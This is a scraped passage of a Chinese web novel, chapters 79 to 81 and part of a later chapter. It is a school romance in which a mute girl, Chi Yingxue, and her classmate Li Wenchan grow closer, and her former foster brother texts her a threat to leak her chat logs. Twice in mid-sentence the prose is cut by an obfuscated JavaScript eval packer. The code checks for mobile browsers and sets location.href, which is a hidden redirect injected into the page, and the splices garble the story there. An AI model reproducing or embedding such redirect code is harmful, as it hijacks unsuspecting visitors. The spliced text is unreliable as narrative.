“你建议那个失恋的倒霉蛋去做没?” “你才倒霉蛋。” 李闻蝉沉默片刻。 做了。倒不是他建议,是…… 李闻蝉:“看上去是有用,只不过我突然发现了一件事。” “比起看她那么难过。” 视线定格在白茫茫的高墙。 “我更宁愿难过的人是我。” “……?” 韩潇在听筒对面震惊不已:“哇,你好伟大啊!” “难道你希望她得偿所愿、快快乐乐地和别人双宿双飞?!” “怎么可能。” 李闻蝉抓紧手机,手背青筋暴起,“就不能快乐地……” 他停顿下来。 “行了,我信你不舍得人家难过。但什么狗屁伟大,说得好听。”韩潇一针见血,“其实你还是不甘心。” 韩潇:“但这就对了。我最讨厌那些说‘真正的喜欢是放手’的,什么想要触碰又收回来的手啊,真的喜欢一个人,怎么可能忍受放手?也可能是我年轻吧,反正我不理解。” 李闻蝉想起他写的那篇作文,摸摸鼻尖,有点烫。 ……还真是。 “哎。”韩潇突然叹了口气,“你不放手,就只能我和唐姨‘放手’你咯。” “你想好啊。” 他再次问道,“真不来HK?” 李闻蝉挑了一下眉:“你说呢?” 到了会场,戴上面具,池映雪才知道瑶瑶那段提醒的含金量。 这里真是太挤了,又吵。她收回一开始的质疑,就算有手机,也没空闲打字。 从进门处就人潮涌动,没过多久,池映雪和其余几人就被冲散。好不容易找到一小块空地,回眸却全是差不多模样的面具。 到底谁能隔着面具认出熟人啊。 池映雪皱了下眉,认真观察起每个人的发型和骨骼,还有他们的手。大厅内有熏香,每个人也距离甚近,各种味道的香水或衣物洗涤剂糅合在一起,根本无法精准捕捉。 这个不是,那个也不是。 系统:[宿主在找谁?先说好,统统我可是不会帮你作弊的噢!] “……没找谁。”池映雪扶了扶面具,目光移开它。 估计还在打电话吧。 池映雪的手缓缓落下。 整个大脑都是空的,唯一能够追溯到的印象,还是某人进选修教室前解到一半的那道数学题。 眼前的空地多出来一双白色鞋子。 这个又不是。 池映雪淡淡地转向,被白鞋的主人轻轻拉住衣角。 79. 第 79 章 徐静萌最终罚迟到的二人放学后值日。 两节晚自习的课间,李闻蝉从门外回来,在池映雪桌上放了一枚小雪花。 是发卡,认出彼此的奖品。 池映雪双手拿起来查看。雪花做工很好,亮晶晶透着冰蓝与洁白。 李闻蝉还停在她桌边,池映雪左手捏住发卡,右手写字。 只有一枚? 李闻蝉抬起眉骨:“你觉得这个符合我的气质吗?” 池映雪思索一会,亮着眼点头。 李闻蝉:……… “我才不戴。” 李闻蝉手揣兜里,转身回座位,池映雪若有所思地跟上去。 李闻蝉坐下时侧头,恰好撞见池映雪伸出举高的手。 对视几秒,李闻蝉别开眼:“服了你。” 他低下头,“…就这一次。” 池映雪只差没雀跃到蹦起来,把可爱的小雪花卡在他浓黑色的头发间。 浓颜锐气,锋利逼人,偏偏戴着小巧甜美的发卡。 再配上一脸郁闷的表情。 池映雪捂嘴笑,从外套口袋摸出手机。 “诶诶。”大手挡过来,难得焦急,几乎要包住她的手和手机,“不许拍!” 那怎么行? 他好不容易这么配合,不拍照留念,多可惜呀。 池映雪抿起嘴,睁一双圆眼睛哀怨地瞧他。 “……不行就是不行。” “你卖萌也没用。” 谁卖萌了? 池映雪瞪他一眼,嗒嗒嗒在手机里打字:「拍一张,就一张。」 他都拍过她好几次了,别以为她不记得! 而且那些都是抓拍,都不敢想象会有多丑…… 池映雪:「不然我今晚就不理你了。」 手机刚刚翻转过去,就被李闻蝉抽走。 快到池映雪都以为是虚影。另一只手紧随其后,钳住她的下巴。 “!” 他的手对她来说过分大了。力道很轻,不疼,却有种整张脸都被掌控的感觉。 李闻蝉凝着她的眼睛,一字一顿,十分严肃:“以后不许说这种话。” 许是也意识到口吻太压迫,他稍微放轻些,带上些哄:“好不好?” 池映雪连眨好几下眼。想点头,一点下巴就托举在他手中。 李闻蝉喉结滚动。 松开手,上滑手机退回主屏幕,点进相机后递回去:“拍好看点啊。” 李闻蝉双手抱在胸前,别扭地调整了下坐姿,脸部微侧露出优越的下颚线。 其实池映雪觉得,他根本用不着调整,随手一拍就很好看。 咔擦。 池映雪点击左下角的照片大图,眨了眨眼。 为什么照片里李闻蝉的嘴角是勾起来的,弧度还这么明显?他刚刚不是一直在压着唇角扮酷吗? 李闻蝉取下发卡,锤了锤后颈,脑袋移过来:“……还行。” “但你这拍照技术还有待提高。”他罕见地没夸她,转头解锁自己的手机,调出个人收藏的相册,“看我给你拍的,多漂亮。” 真的假的。 池映雪好奇地凑过去,差点没原地炸开。 ——他什么时候、拍了这么多!! 从中秋那张三人合照开始,断断续续好多排照片,划了两下都没完。 有国庆出去玩的照片,她站在奶酪面包的货架前独自发呆,不知何时被他抓拍到一张背影; 有她生日那天凌晨,无人机下的合影;生日宴会上她跳舞的照片——这又是从哪里拷来的。 有唐阿姨访校时她陪同的俯拍视角;还有她坐在教室外阳台的夕照下写题的画面…… 池映雪的脸渐渐升温。 还真,都挺好看的。 李闻蝉长眸弯起,手机在池映雪眼前晃了一下:“我拍你,你也拍我。” “还差张合照。” “拍吗?” 池映雪手拂耳侧碎发,别到耳朵后面,颤着睫弯下腰。 李闻蝉咬住唇角,举起手机按亮,右滑到相机,点击前置拍照。 3、2、1…… “茄子!” 咔擦一声,二人的脑袋后面那点空隙被突然出现的胡挚呲个大牙入镜。 还比了个剪刀手。 李闻蝉:…………… 池映雪捂着嘴巴,肩膀颤抖地回到座位。 胡挚看了一眼她,看了一眼黑脸的李闻蝉,天真无邪地摸了摸人中,耸耸肩回座位。 刚要坐下,李闻蝉冷哼一声,抬脚勾走前排的椅子。 胡挚与地面亲密接触:“哎哟!” 李闻蝉弯唇看回手机屏幕里的照片,吐出一口浊气。 嗯。 这招还是很好用。 第二节晚自习过半,李闻蝉写完最后一张卷子,埋头睡下。 胡挚在群里关爱道:「蝉哥最近连轴转,学习没落下,时不时去池老爷子那边帮忙,还有个韩潇要操心,估计累坏了。」 万苏瑶:「难怪,都好久没见他上课睡觉了。」 池映雪关掉手机,默默向右投去一眼。 放学铃响起,李闻蝉还没有醒。 纤长的睫毛密密垂落,谁都不愿打扰宁谧的氛围。 还是胡挚怕他一觉睡到第二天早操,伸手便要去摇醒,被池映雪阻止。 「你们先回家吧。」 池映雪:「反正我们也要扫地,等人走的差不多了我再叫他。」 胡挚轻手轻脚比了个“ok”。众人慢慢离去,教室逐渐更显宽阔。 系统:[宿主好贴心哦~知道男主大人累,想让他多休息会。] 池映雪不置可否,却走近右排的座位,从抽屉里缓慢抽出刚才的面具。 因为她的走动,白炽灯光线有遮有明,李闻蝉的睫毛随之颤动。 池映雪将面具小心翼翼地覆盖在他脸上,令人心慌意乱的容颜须臾间敛藏。 [宿主?宿……] 系统及时住口。 虽然不知道她要干什么,但莫名觉得不能被打扰呢。 系统摸着脑袋调取任务界面,滑到最后一排,差点把头上的毛揪下来。 ——因为间隔太久,它差点忘记这个任务。 “*/kisskiss\*”。 池映雪的手指离开面具。 四周没人。住校生应该都去凑万圣夜活动的热闹了,教室内值日归了她和李闻蝉。 池映雪疾步回到座位,手撑桌面深呼吸,提起校服嗅了嗅,确认只有洗涤剂的香,然后迅速从收纳柜里翻出甜味的唇膏。 刚拿起来还没有擦,她忽然意识到自己在干什么,像被烫到一般松手,心虚地把唇膏埋回柜子最下层的最内侧。 池映雪重新转身,一步步向前走。 安静的最后排,呼吸声轻,十分均匀。 校服下的肌肉也浅缓起伏,池映雪捏住李闻蝉的校服外套,腰低下去。 怕什么。 不、不就是亲个面具…… 亲…………35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732450|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嘴唇离洁白的面具越来越近,能闻见清晰的柑橘香气。 她的马尾辫从背后垂到前面来,落到他的领口。 不过咫尺。 “笃笃。” 敲门声响,池映雪弹起来,小脸煞白。 就差几毫米了……! 池映雪手攥拳,背在后面,却在看见来人后大松一口气。 幸好没被抓现行,不然真的完蛋了。 徐静萌觉察到学生古怪的小动作,关怀道:“小雪是想叫李闻蝉同学一起值日吗?” 池映雪不知道自己的脸会红成什么样子,埋下头点点点,像小鸡啄米。 徐静萌暗瞪一眼李闻蝉,笑着鼓励池映雪:“那我们先去走廊,老师有点事情想问你。” “一会你回来,尝试自己叫醒他,没办法了再来找老师好吗?” 想到一些传言,徐静萌:“李闻蝉同学有很多传闻,你或许听过,但更重要的是用眼睛和心来判断。我看你们平时关系也不错,不用为此怕他。” 池映雪眼眸一亮,抬起头,又重重点了好几下。 走廊的晚风吹得人很舒服,脸上的热气渐渐舒缓。 徐静萌:“我下午和胡挚交流过运动会报名的表单,听说你报了三千米。” 她注视池映雪的眼睛,认真询问:“是你自己报的名吗?是的话,你比1,反之比2。” 池映雪伸出一根手指,很坚定。 徐静萌一下子笑开:“哇,你这么厉害呀。” 池映雪不好意思地挠挠头。其实她也就是挑战一下自己而已,很大几率拿不到任何名次。 虽然本身就没人愿意报,但这样也不能给班级争光,池映雪不好意思地偷偷瞧向徐静萌。 徐静萌似乎看出什么,拍拍她的脑袋:“有这个勇气已经很棒了,而且你之前没跑过这么长的距离吧?凡事都有第一次,慢慢来。” “我让胡挚他们多陪你练习,能上跑道,记得正确规划自己的体能就是胜利了。”徐静萌笑眯眯,“实在不行就学你的好朋友万苏瑶,知道自己跑不下来,直接坐跑道上认输也挺有意思的。” 池映雪下意识跟着她笑,又觉得不能这么对瑶瑶,于是抿起唇。 徐静萌又嘱咐几句,快走的时候,池映雪还咬着唇,从口袋里掏出手机。 池映雪:「我比赛的时候,徐老师会来看吗?」 她的眼睛圆圆的,说不清更像小鹿还是小兔子,总之在走廊外侧的黑夜里亮晶晶,充盈透明的希冀。 徐静萌轻咳一声,帮池映雪把马尾扶正:“当然,老师还要给你们加油呢。” 池映雪望着徐静萌的背影,双手捧住脸。 开心。 好喜欢徐老师呀,要是从小到大遇到的老师都和她一样该有多好。 池映雪蹦回教室,被后门口伫立的身形猝不及防吓了一跳。 捧脸的双手背到身后。 李闻蝉的手交叉胸前,弯眸染笑,随意闲靠在后门,也不知看了多久。 这家伙什么时候醒的? 看这眉眼清明,他他他他他他该不会根本就没睡着吧?!! 池映雪做贼心虚,一双眼睛狂眨乱瞟,就是不肯再抬头。 她当做没看见他,直接往教室里扎,被他伸出长腿拦下。 校服裤腿挡在脚踝前。 李闻蝉站直,灯下长影似朝池映雪袭来。 红唇逼近,挂一抹玩味笑意,高挺的鼻几乎要挨到她侧脸:“躲什么?” “你对我干亏心事了?” 80. 第 80 章 谁谁谁干了。 反正没做成,那就是没做。 池映雪佯装淡定,把瘪下去的气焰像吹气球一样重新吹鼓,昂首转身去拿扫帚。 李闻蝉的视线直勾勾盯着她,慢慢皱起眉。 …… 真没有? 那他朦胧中听见的,亲什么……… 李闻蝉突然一个激灵,抱住的双臂松开,撑在门框迅速转身。 另一只滚烫的掌心捂住脸。 所以,全是他的“梦”? 捏住门框的指尖泛红,关节显出明显的骨骼。 额头轻轻磕在门上:“李闻蝉。” “………你完了。” 阳台拐角。 池映雪刚拿起扫帚,系统就冒出来汇报:[宿主,刚才检测到男主好感度剧烈波动!] [本来都要飙到满了,又慢慢降下去。] 系统一头雾水,[最后停在89.5,比之前多了0.5。] 池映雪:“……哦。” 什么也看不出。 所以他到底真睡还是假睡啊?? 池映雪鼓起脸,拖着扫帚走路,系统凝神思考:[我发现男主大人现在的好感度变化和最开始差不多,每次就加一点点,而且很难再往上升。] “嗯…”池映雪目光飘忽,“毕竟你们给的手册里,100好感度代表‘深爱’啊。” 哪有那么容易就深爱。 这两个字,有的夫妻过了半辈子都没做到,池映雪想都不敢想。 隔着玻璃,池映雪望见抬高手臂,背对她擦对面窗户的李闻蝉。 身高手长,做值日也很有观赏性。 对她来说,踩着板凳都不一定能擦到最上面的窗,他轻而易举就能够到。 李闻蝉……真的对她,有那么高的好感吗? 值日结束,池映雪做最后的检查工作,和凑热闹回来的住校生告别。 一回头,李闻蝉已经背着她的书包,靠在门口等待。 肖玉雯买书包的时候,特意买了比她背部宽一些的,即便如此,背在李闻蝉身上,还是很袖珍。 这个点的校园,路灯在梧桐和栾树叶下闪耀。 喧闹和灯火停留在舞蹈室与教学楼。路上行人很少,时不时有教师的车闪着灯驶出。 快走到校门口,又一辆大车驶来,池映雪揪了揪蓝色的书包带。 反正也没两步路,李闻蝉慢吞吞地撤下包,帮她背好。 意料之中的肩部沉重并没有到来。 池映雪侧头,才发现李闻蝉的手在后面托住了书包。 他还很小幅度地掂了掂:“怎么换书包了?” 池映雪的手机放在包里,不太好取。 只好用手比了个爱心。因为喜欢。 李闻蝉脚步停了一瞬:“……喔。” “喜欢。” 池映雪点头,看见他用手指抹了下鼻尖。鼻头和脸颊都泛红。 真是的,一会上车后得发消息提醒他回去冲预防感冒的药喝。 李闻蝉眼角弯了弯。 托包的手轻快起来,含笑调侃:“之前是红伞伞,现在是海冰菇。” 池映雪:……反正就和蘑菇过不去了是吧? 缓慢地踱了两步,池映雪停下来。 托包的手随惯性往前压,李闻蝉迅速调整:“?” “忘记拿东西了?” 池映雪摇头,细细的手指揪着书包肩带。 李闻蝉在原地等了两秒,好像懂了什么,上前一步,弯下腰与她视线平齐:“想说就说。” 池映雪总觉得那双黝黑狭长的眼有一种魔力,被他这样看着,周围的一切杂音都会消失:“和我还客气什么?” 虎牙咬住内侧的唇。 池映雪犹豫了一两秒,牵起他的袖口,把掌心翻过来写字。 李闻蝉的瞳孔剧烈收缩,嘴抿得非常紧,一动不动。 晚风止息,树叶停止摇动。 连呼吸都不自觉放轻,几乎暂停。手心传来凉凉的,痒痒的,软软的触感。 「我不喜欢你叫我“蘑菇”。」 终于还是说出来了。 每次听到它,就会想起她曾经被下的那些定义:阴暗、潮湿,只敢在角落里觊觎别人的幸福。 指尖离开灼热的掌心。池映雪不安地蹙眉,可是如果这样,他以为……她不喜欢他给她起昵称怎么办? 池映雪吸了吸鼻子,慌忙用手腕擦拭李闻蝉的掌心。 一声低叹溢入耳畔。 李闻蝉松握住她的手腕,很轻地拍了拍:“这样啊……” 不是。 池映雪张了张唇。她没有不喜欢…… 李闻蝉:“那从今天开始,小蘑菇就正式改名小雪花了。” 池映雪一怔。 李闻蝉拍了拍她的脑袋,手在齐刘海的上空停顿,红唇勾起,又揉了一把。 “小雪花。” 他把手插回兜里,又叫一声。 池映雪的睫毛疯狂颤动,难以抑制地抬高嘴角。 李闻蝉的手突然伸回来。 “雪花,是会被人捧在手心的。” 摊开的掌心,安静躺着那枚被忘在他桌上的雪花发卡。 走出校门这段路,池映雪一直在思考一个问题。 为什么她从来没想过给李闻蝉起什么昵称? 可是好像,叫什么都很奇怪。 池映雪默默在脑海里给冒出来的无数词汇打叉,走出校门那一刻,橘黄色的灯光照映身边的人影。 终于有了答案。 李闻蝉。 池映雪在心里默念。 不知道是不是要等车,身旁的人滞留在后方。 池映雪没有立马回头,而是不断想着他的名字。 李闻蝉。李闻蝉。李闻蝉。 ——就是,李闻蝉啊。 念他的全名,有种脚下每一步都踩在实处的安全感。 踩着灯光与梧桐叶的暗影,音符连成词语,一点点变清明。 不远处响起急刹,打断她的心流,随即传来一道张扬的口哨。 韩潇手搭在敞篷外摘下墨镜,隔街挥手:“好巧,又见面了~” “男高小蝉,哥哥来接你放学~” 李闻蝉:“………” 拨弄碎发的手指垂下,通红的耳垂热度消退。 他还没回话,池映雪朝二人各自挥挥手,扭头就跑走了。 李闻蝉抬起眉,眼睛微眯起,一直看到她上了熟悉的牌照才收回。 韩潇已经掉头到他身边:“……不是吧。” “你家小雪妹妹真的嫌弃我?” 李闻蝉:“活该。” 韩潇百思不解,趁李闻蝉上车的功夫拿出手机就开始自拍:“不可能,我这魅力不减啊。” 李闻蝉白了他一眼,系好安全带,抠了抠斜挎包的布料,正襟危坐。 “……刚刚的话,你再说一遍。” “?” 韩潇缓缓转头,“我魅力不减?” 李闻蝉深呼吸,握拳又松开,阖目:“上一句。” “上一句?” 韩潇:“你家小雪妹妹真——” 韩潇:“………………” 李闻蝉哥俩好地拍拍韩潇的肩,帮他拨好方向盘后的拨片:“走,请你吃夜宵。” 回到家里,昏暗的大厅亮着一盏灯。 池映雪垂着脑袋走过去,果然又是爷爷在等她。 池老爷子放下报纸,扶正老花镜,拍了拍过来问好的池映雪,示意她坐下。 “最近上课还习惯吗?”他语气严肃,池映雪却明白内含的关怀,“还有助听器,有没有不习惯的地方。” 池映雪双手比OK,告诉他一切都好。 老爷子这才放心,颔首:“你自己看,如果习惯这边的教学和环境、社交当然好,如果不行也不用勉强。” “大不了和静俭当年一样出去留学,就是离家远,我们多飞几趟的事。” 池映雪下意识摇头,老爷子笑道:“你不想去我还高兴呢,不然这么大个宅子,其他人也不是天天回来。” 池映雪跟着他笑,不禁想,爷爷也是这样和李闻蝉说的吗? 她沉吟片刻,还是从书包取出手机:「爷爷,如果我去转学去HK的话,会有人陪着吗?」 “喔!你也想去HK?”池老爷子摸了把胡须,“是你想去还是闻蝉和你说的?上次他唐姨来的时候还专门提过这事。” “我还没和他谈过——但去不去最后全看他自己,没人能做得了他的主。” 池映雪攥紧手机,点了点头。 「那爷爷,我先上去做作业了。爷爷早点休息。」 “好,你也早点。”老爷子嘱咐,“明晚有个小家宴,别和同学约出去玩了。” 待房门关上,系统按耐不住问:[宿主为什么不直接问男主大人?] 老爷子话是那么说,但它总觉得就算男主大人要去,只要宿主开口,没准就不去了呢? 池映雪换了睡衣,把头埋进被子里:“……不知道。” 闷闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738075|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 不敢问。 池映雪深深地呼吸,把手机翻过来,点开企鹅。 列表里的纯黑头像位置很靠前。 他现在在干什么呢? 和韩潇在一起,会聊去HK、去HK后的事情吗?…… 手指上下滑动。点进头像框的同时,崭新的小红点冒出来,许苹安的消息框取代备注为“李闻蝉”那行。 苹安:「报!!上次回七中后,姑奶奶我就把你的成绩单装作手滑发到班群里,气死那群长舌的。」 「还有你现在的桌面,整齐又漂亮,那文具,那设施,他们在背后蛐蛐一辈子都碰不着!你都想不到那几个带头嘴贱的人看了后沉默了多久,要不是最近校内手机查的严,我一定要拍照做成表情包!」 烦乱的心情好了许多,池映雪咧开嘴:「谢谢你,苹安,你真好。」 苹安:「(害羞)(亲亲)」 苹安:「不过有一件事我很纳闷。」 「应家那两口子,还有你那个便宜弟弟,真就再也没来烦过你了?」 池映雪愣了几秒:「嗯。」 「你不提他们,我都快忘记了。」这是实话。 苹安:「那就好那就好。」 苹安:「我就是觉得这不符合常理啊,你看他们当初那样压榨你,现在你可是货真价实的大小姐……莫非他们怕了?」 「我和煎饼大叔聊天时听说应家小吃店现在生意不好,你一走,应光司他妈一个人忙不过来,他爸混惯了不肯帮忙,他们也绝不可能让宝贝儿子去帮工。前阵子大手大脚的,现在又抠搜起来了,连洗碗都要省水费,好多顾客都说不干净。」 苹安:「这下知道我们小雪的含金量了吧,要不是有你,他们这店早就被人人喊打了。」 池映雪很轻地笑了一声,不置可否:「我知道你的意思啦,我会注意的。」 「嗯嗯!」许苹安很快就翻过这篇,「什么时候你回七中,我们再聚一次。」 池映雪有些心动:「好呀。我们中旬开运动会,到时候应该比较空闲。」 如果她跑完三千米还有力气的话…… 第二天,池映雪起床的时候就预感不好。 果然到了中午,原本约好中饭后练习跑步,结果刚走到操场,小腹下部就有些隐痛,热流涌出,幸好有护垫。 训练还没开始就结束,池映雪对胡挚歉意地笑了笑,胡挚着急:“这有啥呀,你快上去休息吧!” 上个月她疼起来,那脸白的,他都以为她又低血糖了。 万苏瑶把池映雪掺回去,一开始看起来还好,就没吃止痛药。 到了下午最后一节自习课,才过了五分钟,绞痛一下子加剧。 池映雪咬紧下唇,弯腰趴在桌上。 手里还握着一根黑笔。 她坐最后一排,讲台上的徐静萌低头批阅小测试卷,前面的万苏瑶也没回头。 右边响起椅子划地板的声音,不轻,听着很着急。 响动越来越近,脚步声停,耳语闯入迷迷糊糊的听觉:“别硬抗,我带你回家。” 干净的香气变淡了些,朦胧间能听见李闻蝉拜托万苏瑶去向徐静萌请假的讲话声。 声歇后有几秒空白,紧接着,池映雪被一双臂弯抱起。 不紧密,却很温暖,很有力。 再醒来已经是晚上。 漆黑的卧室,只有窗帘缝隙透进来的蓝影,光亮也很暗淡,起码已经是傍晚。 池映雪掀开熟悉的软被,门被同时敲响。 李闻蝉端着一碗汤,关门和走近的动作都很轻。 房间里的夜灯亮起,亮度不大,暖融融的。 “你醒了。” 李闻蝉把托盘放在床头柜,拉过椅子随意坐下,用调羹搅动红黑色的汤液。 “红糖鸡蛋,加了点桃胶和红枣。” 他补充,“枣和糖放得不多,你得补一补。” “这可是老宅最有经验的膳食师傅做的,一定要喝光。” 池映雪不明觉厉,想接过碗,李闻蝉端起来躲了一下。 他把她的枕头拉起来:“靠那儿。” 冷色调的纤长手指捏住勺,在小夜灯柔和的光照下,也变得暖起来。 盛满的勺子微微颤抖,下面用碗接住,递到她嘴边。 池映雪的手在被子下抓紧睡裙,小心地含住。 好甜。 她却一点也不讨厌。 与此同时,系统的播报框弹出。 [叮!“让男主为你洗手作羹汤吧”任务完成!] 81. 第 81 章 池映雪:“?” 李闻蝉不是说,这是老师傅做的吗? 池映雪心里有种奇异的感觉,再张口,眼眸不自觉抬起来。 勺柄上,手指的红肿隐约可见。 系统趴在她的肩背,被身下不平静的起伏震醒,匆忙调取新的任务界面。 [叮!任务更新:拍一张双人合照,并一起比个小心心吧~] [任务提示:将它作为你们的纪念写真,不允许旁人入镜喔!记住,一定要两个人共同比出完整的爱心才算数!] 系统:[这任务越来越难让宿主钻空子了喔。] [不过也是有的,就比如上一个任务,宿主喝的这碗其实不是男主大人做的,但由于男主大人的确做了,所以还是算你完成。] 池映雪被喂完最后一小块桃胶,疑惑道:“那为什么他不……” 系统自觉说漏了嘴,脑中响起上级的警告,连忙下线:[这个嘛,宿主自己观察观察。] 池映雪醒来是在七点,家宴推迟,这时刚好开始。 池映雪和李闻蝉一前一后下楼,肖玉雯连忙走过来挽住她,带到老爷子身边坐下。 小圆桌摆得满当当,旁边添了几把椅子。打眼一看,全是她最近喜欢的口味。 肖玉雯和池老爷子占据池映雪的一左一右,李闻蝉皱起眉,慢着步子晃到她正对面的位置。 坐下,又不动筷。 奇怪的是,满桌人对此也没有异议。 池映雪用梨汤润口,又投去几眼,和李闻蝉隔着几道菜肴对视。 圆桌是老式木制,檀木上铺了一块几乎落地的鹅黄色桌布。 池映雪悄悄伸直腿,朝正对面去。 出乎意料。 都没有伸出多么远,一下子就碰到了鞋尖。 池映雪扶紧装梨汤的小盅,在那双狭长的眼睛里捕捉到明晃晃的好心情。 原本想收回,不知为何没有。池映雪双手端起小盅喝光,冲李闻蝉扬了扬盅底。 怎么不吃呢? 李闻蝉嘴角的笑意僵硬一瞬,脚没动,眼睛移开。 池映雪更加摸不着头脑,慢慢生出担忧。直到老爷子一对鹰眼看出些什么,放下筷子道:“你别管他。” “那小子刚才吃了两个烧焦、两个蛋白溢锅、三个散黄的荷包蛋,还有满满一锅糖放多了的……” 李闻蝉赶快打断:“咳咳咳!!!” 池映雪:…嗯…… 原来如此。 池映雪垂下眸,盘里的菜肴突然间更加诱人。 她发现她有点不厚道。 得知李闻蝉初次做饭一窍不通;看见李闻蝉红着脸和老爷子呛声,叫嚣得给他留点面子的画面,比那些他在外所向披靡的样子更让她感到亲切。 在这种时刻,他仿佛不是那个“男主”,而是一个近在眼前的男同学。 本周上课的最后一天,池映雪来到学校,腹痛已经好很多。 万苏瑶:“我算明白了,就算情况不好你也一声不吭。” 她又想起池映雪这么多年恐怕早就习惯“一声不吭”,甚至是不得不,于是转过脸拍拍嘴巴,重新回头道:“总之你多喝热水,中午咱们去吃二餐,那边有家糖水铺不错,姐请你吃碗芝麻酒酿炖蛋补补气血。” 池映雪弯起眼,跟着胡挚叫:「谢谢万姐。」 万苏瑶捂嘴憨笑,起了点大姐姐的范,拍拍胸脯:“你水杯呢?喝完没?我帮你接热水去。” 池映雪想了想,好像还真喝完了。 手往桌子左边一够,熟悉的位置却空空荡荡。 池映雪:我水杯呢? 吱呀—— 后门打开,李闻蝉左手握着她的保温杯,右边胳膊夹着两个深色的大容量水杯,一看就是他和胡挚的。 李闻蝉用脚轻轻带上门,先往她这边来,把保温杯稳稳放在桌面,手指点了点:“尝尝温度,不合适我去换。” 池映雪将碎发别到耳后,看着他转身放好另外两个杯子,小心地拧开杯盖。 透明的热气蒸着鼻子,今天水房的白开水带着一丝丝甜。 温度也刚好。 李闻蝉举着杯子回眸,一瞥便收回。 漆黑的瞳染了笑意,仰头喝水,喉结上下滚动。 铃~~ 手机铃声忽然打破教室安静的右后方。 是她的!池映雪差点把热水喷出来。 因为通讯录里就那么几个人,平常也没谁会在上课时间打进来,发消息都很少,所以她总是忘记再把手机设成静音。 两只手还捧着杯子,水太满,池映雪赶紧又抿一口。 好不容易打算放下,李闻蝉先一步帮她从抽屉取出手机。 铃声在他手里挂断。 池映雪松了口气,正要拿回,却见李闻蝉的浓眉间竖起一道痕。 他看了她一眼,脸色不算好看。 显然不是针对她。 手机被调转过来:“这个号码,你认识吗?” 锁屏的界面浮现一条没有备注的短信。 【你的旧手机在妈房间,里面有你和那两个人的聊天记录和照片。如果不想被传播出去,这两天自己来一趟。】 【发信人:178xxxxxxxx。】 池映雪眸色一凝。 她怎么会不认识。 这是应光司的号码,手机还是用她的奖学金买的。 ……还真让苹安说中了。 下午放学后,池映雪一边背书包一边给许苹安发消息。 「苹安,明天有空吗?我要回七中这边一趟。」 许苹安那边应该也是刚放学打开手机,回得很快:「有啊!明天不上课,但是咱俩可以装作去学校自习混进去。」 「你不是说运动会吗?怎么这么快。」 池映雪把应光司的短信复制过去,许苹安一通臭骂,最后激动到需要池映雪反过来哄。 池映雪把人安抚好,小心地瞥了一眼右边整理桌面的男生:「那个,我有个朋友,明天也要一起来。」 「他说想和你还有裴景,认识一下。」 苹安:「好呀好呀!你朋友就是我朋友。」 苹安:「等等。」 苹安:「他。」 苹安:「他?」 苹安:「他!!!」 「你朋友?你确定只是朋友?一个人,男的,要和你一起?你说实话,是朋友还是男朋友?!」 手机都快被对面的消息轰炸整发烧了。 池映雪的手被烫到,抚上脸颊,又被烫了一下。 小雪:「不是男朋友。」 她犹豫了好半天,没把接下来那条“我们是亲戚”发过去。 想到什么,池映雪坚定打字:「我可是不会早恋的。」 苹安:「行吧,我就知道,你个好学生。」 「不过这还是你第一次介绍朋友给我,唉,我们小雪长大了啊!」 池映雪微微面红,这是什么话。 她拿苹安当好友,怎么感觉苹安把她当女儿养。 瑶瑶也是,秋怡也是,胡挚等人也是,各种照顾她,一副好姐姐好哥哥的样子,瑶瑶可比她还小呢。 池映雪背好书包,走出门时对着窗户观察了一下身高,比几个月前高出好几厘米。 希望再这样,多成长一点。 突然也很想成为那种能照顾这些人的,“姐 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裴景是高三生,周六晚也上自习,她得等他放学后再询问。 “我今天先自己过去,去应家把手机取回来。” 系统:[………宿主,不要告诉我你不知道男主大人是什么意思。] 收到那条短信后,李闻蝉不由分说地要求和她一起前往七中,还不是主要为了确保应家不借此伤到她? 见朋友什么时候都能见,他哪里会这么急的。 宿主根本就是在玩文字游戏嘛! 池映雪眸光闪动,一根手指缠绕住书包的带子。 列车即将驶入,黑压压的隧洞提前响起无形轰鸣。 池映雪:“系统,你还记得刚找到我的时候,我的样子吗?” 系统愣住。 地铁在一人一统面前缓缓停下。玻璃窗倒映少女清瘦又亭立的身形。 “还有应家和应家小吃店的样子。” 池映雪抬脚上车,走入亮堂的厢内。 车门在背后相合,阻隔昏暗隧道和冰冷灯光。 “起码,我不想李闻蝉看见我在应家的房间。” 地铁在七中附近的站点停下,池映雪下车后步行五分钟,路过熟悉的学校。 与虹文这种坐落在城市中心地带的“贵族”名校不同,七中只是这一片居民熟知的普通高中,正对面稀稀拉拉坐落着几家煎饼、菜饼、托管所,书店里基本只出售教辅。 唯一相同的大概是校外的街道两边都种有梧桐,间或栾树。 下午有一阵微雨,傍晚的空气湿乎乎的,不知从哪里飘过来一阵若有似无的桂花香。 脚踩在梧桐和栾树的落叶上,簌簌声猝不及防地停下来。 街道正对面,靠近学校那一侧。 与老城街道格格不入的拉风机车大剌剌停在树影下,有两个小孩子隔老远投去羡慕目光。 李闻蝉随意地闲靠车座,冲他们招招手,可能因为眉眼太锋利,小孩反而吓跑。 池映雪看见李闻蝉皱了一下眉,很快松开,似是习以为常地摇摇头,勾唇一笑。 一旁的小卖部忽然走出几个人,穿得很潮流,和他差不多酷。 两女两男,为首那个是个高挑、帅气、漂亮的女生。 池映雪听见她身后的男生大喊了一声:“恩雅姐,你太抠了,又是我给钱!” 谢恩雅笑骂男生一句,在李闻蝉面前不远处停下。 